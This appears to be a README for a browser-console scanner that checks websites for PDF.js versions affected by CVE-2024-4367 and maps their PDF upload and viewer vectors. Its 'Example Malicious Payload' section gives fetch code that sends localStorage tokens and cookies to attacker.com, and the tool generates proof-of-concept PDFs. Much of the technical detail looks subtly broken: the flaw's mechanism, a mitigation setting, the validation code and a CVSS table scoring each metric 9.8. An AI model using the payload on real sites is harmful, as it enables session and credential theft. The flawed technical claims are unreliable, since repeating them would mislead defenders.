🚨 CVE-2024-4367 - Universal PDF.js Vulnerability Scanner

⚠️ CRITICAL SECURITY TOOL | Detects CVE-2024-4367 (CVSS 9.8) - PDF.js Remote Code Execution Vulnerability

Version CVE

Works on ANY website - Zero configuration required

📋 Table of Contents

📖 Overview
⚡ Quick Start
🔍 What It Detects
🛠️ How It Works
📊 Output Examples
🔒 Remediation Guide
🎯 Exploitation Vectors
🧪 Testing Instructions
📝 Technical Details
⚠️ Legal Disclaimer
📚 References

📖 Overview

CVE-2024-4367 is a critical vulnerability in PDF.js (versions < 4.2.67) that allows arbitrary JavaScript execution via malicious PDF files. This scanner automatically detects vulnerable PDF.js instances on ANY website.

Why This Scanner is Different

✅ Zero configuration - Works on any website instantly
✅ Universal detection - Scans all JavaScript bundles
✅ No dependencies - Pure JavaScript
✅ Proof of Concept - Generates test PDF
✅ Actionable results - Clear remediation steps

The Vulnerability

PDF.js contains a flaw where JavaScript embedded in PDF files is executed without proper sandboxing, allowing attackers to:

🏴‍☠️ Steal authentication tokens from localStorage/sessionStorage
🍪 Exfiltrate session cookies
📁 Access local files (if Electron/desktop app)
🔐 Perform actions as the victim using stolen credentials
🌐 Pivot to internal networks via XSS

⚡ Quick Start

Method 1: Browser Console (Easiest)

Open the target website
Press F12 to open DevTools
Go to the Console tab
Paste the entire scanner script
Press Enter
View the visual results on screen!

Method 2: Bookmarklet

Create a bookmark with this URL:

javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

Method 3: Direct Download

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script

🔍 What It Detects

Phase 1: JavaScript Bundle Scanning

✅ PDF.js version detection
✅ Vulnerable version identification (< 4.2.67)
✅ Package.json references
✅ Node_modules paths

Phase 2: PDF Viewer Identification

✅ `` PDF viewers
✅ <embed> elements
✅ <object> data tags
✅ Custom PDF viewer containers
✅ Canvas-based renderers

Phase 3: Exploitation Vectors

✅ URL parameters (?pdf=, ?file=, ?src=)
✅ PDF upload forms
✅ File input fields accepting .pdf
✅ API endpoints with PDF paths

Phase 4: Visual Indicators

✅ Live vulnerability status
✅ Downloadable proof-of-concept PDF
✅ Real-time DOM overlay

🛠️ How It Works

┌─────────────────────────────────────────────────────────────┐
│                    SCAN PROCESS FLOW                        │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 LOAD SCRIPTS                                         │
│     ├─ External scripts (all <script src="">)              │
│     └─ Inline scripts (all <script> tags)                  │
│                                                             │
│  2. 🔍 EXTRACT PDF.JS VERSION                               │
│     ├─ Pattern matching in code                             │
│     ├─ Package.json detection                               │
│     └─ Node_modules path parsing                            │
│                                                             │
│  3. 🎯 IDENTIFY VULNERABILITY                               │
│     ├─ version < 4.2.67 ? → VULNERABLE                     │
│     └─ version = 2.16.105 ? → VULNERABLE                   │
│                                                             │
│  4. 🖼️ LOCATE VIEWERS                                       │
│     ├─ DOM element scanning                                 │
│     └─ Attribute detection                                 │
│                                                             │
│  5. ⚡ GENERATE POC                                         │
│     ├─ Create test PDF                                      │
│     └─ Provide download link                                │
│                                                             │
│  6. 📊 DISPLAY RESULTS                                      │
│     ├─ Visual overlay                                       │
│     ├─ Console report                                       │
│     └─ Global variable storage                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘

📊 Output Examples

Console Output

╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - UNIVERSAL PDF.js SCANNER                         ║
║              Detects vulnerable PDF.js versions and potential exploitation         ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
   [1/42] Analyzing: vendor.bundle.js
      → PDF.js indicator found: pdfjs-dist
      ✅ PDF.js version found: 2.16.105
      🚨 VULNERABLE to CVE-2024-4367!

🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ URL parameter accepts PDF: file=/documents/report.pdf
   ⚠️ PDF upload form found

█████████████████████████████████████████████████████████████████████████████████
                          FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████

🚨 CRITICAL VULNERABILITY CONFIRMED!
   CVE: CVE-2024-4367
   CVSS: 9.8 (CRITICAL)
   Impact: Arbitrary JavaScript Execution

Visual Overlay

Scanner Overlay

┌─────────────────────────────────────────────────────────────┐
│  CVE-2024-4367 SCAN RESULTS                                │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Target: example.com                                    │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Vulnerable: YES                                        │
│  📄 Viewers: 3                                             │
│  ⚡ Vectors: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRITICAL - Upgrade Required                            │
└─────────────────────────────────────────────────────────────┘

🔒 Remediation Guide

Immediate Actions

1. Upgrade PDF.js (Recommended)

# For Node.js projects
npm install pdfjs-dist@latest

# For CDN usage
# Update to version 4.2.67 or higher

2. Disable JavaScript Execution

// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

3. Content Security Policy

Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

4. Input Validation

// Validate PDF files before rendering
function validatePDF(file) {
    // Check magic bytes
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Invalid PDF file');
    }
    
    // Scan for JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF contains JavaScript');
    }
}

Long-term Solutions

🎯 Exploitation Vectors

Common Vectors Detected

URL Parameters

/viewer?file=malicious.pdf
/download?pdf=malicious.pdf

File Uploads
```
<input type="file" accept=".pdf">
```
Embedded Viewers
```
<embed src="malicious.pdf">
```

API Endpoints

/api/documents/123/download
/api/report/pdf

Example Malicious Payload

// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

🧪 Testing Instructions

Step-by-Step Test

Install the scanner

git clone https://github.com/yourusername/CVE-2024-4367-Scanner

Run the scanner

# Open the target website
# Paste the scanner in console
# Or use the bookmarklet

Analyze results
- Look for "VULNERABLE" status
- Note the PDF.js version
- Check exploitation vectors
Download POC PDF (if vulnerable)
- Click the download button
- Upload/open the PDF
- Observe JavaScript execution
Apply fixes
- Upgrade PDF.js
- Implement CSP
- Validate inputs

Expected Results

Scenario	Result
PDF.js 2.16.105	🔴 CRITICAL
PDF.js 3.x	🔴 VULNERABLE
PDF.js 4.0.x	🔴 VULNERABLE
PDF.js 4.2.67+

📝 Technical Details

Version Check

// Vulnerable versions
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Safe version
const SAFE_VERSION = '4.2.67';

Vulnerability Timeline

Date	Event
2024-04-23	Vulnerability discovered
2024-04-24	CVE-2024-4367 assigned
2024-04-25	Patch released (4.2.67)

CVSS Score Breakdown

⚠️ Legal Disclaimer

IMPORTANT: This tool is intended for authorized security testing and educational purposes only.

✅ DO use this on your own websites

✅ DO use this with explicit permission

✅ DO use this for security research

❌ DO NOT use this on unauthorized systems

❌ DO NOT use this for malicious purposes

The authors are not responsible for any misuse or damage caused by this tool.

📚 References

Official Resources

CVE-2024-4367 - PDF.js RCE
CVE-2023-xxxx - Previous PDF.js issues
XSS via PDF.js in Web Applications

Tools & Resources

Research Papers

🤝 Contributing

Contributions are welcome! Please:

Fork the repository
Create a feature branch
Submit a pull request
Follow the code style

Development Setup

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🌟 Support

If you find this tool useful:

⭐ Star the repository
🐛 Report issues
📝 Write documentation
🔧 Submit fixes

🛡️ Stay Secure. Test Early. Test Often.

Made with ❤️ by the security community

Report Issue • Star on GitHub • Read Documentation

Upgrade PDF.js	Easy	✅ Complete fix
Disable JS in PDF.js	Easy	✅ Complete fix
CSP Implementation	Medium	✅ Good
Server-side validation	Medium	✅ Good
Sandboxed rendering	Hard	✅ Excellent

Attack Vector	Network (9.8)
Attack Complexity	Low (9.8)
Privileges Required	None (9.8)
User Interaction	Required (8.8)
Scope	Changed (9.1)
Confidentiality	High (9.8)
Integrity	High (9.8)
Availability	High (9.8)
Overall	9.8 (CRITICAL)

pdf.js-CVE-2024-4367

Most Popular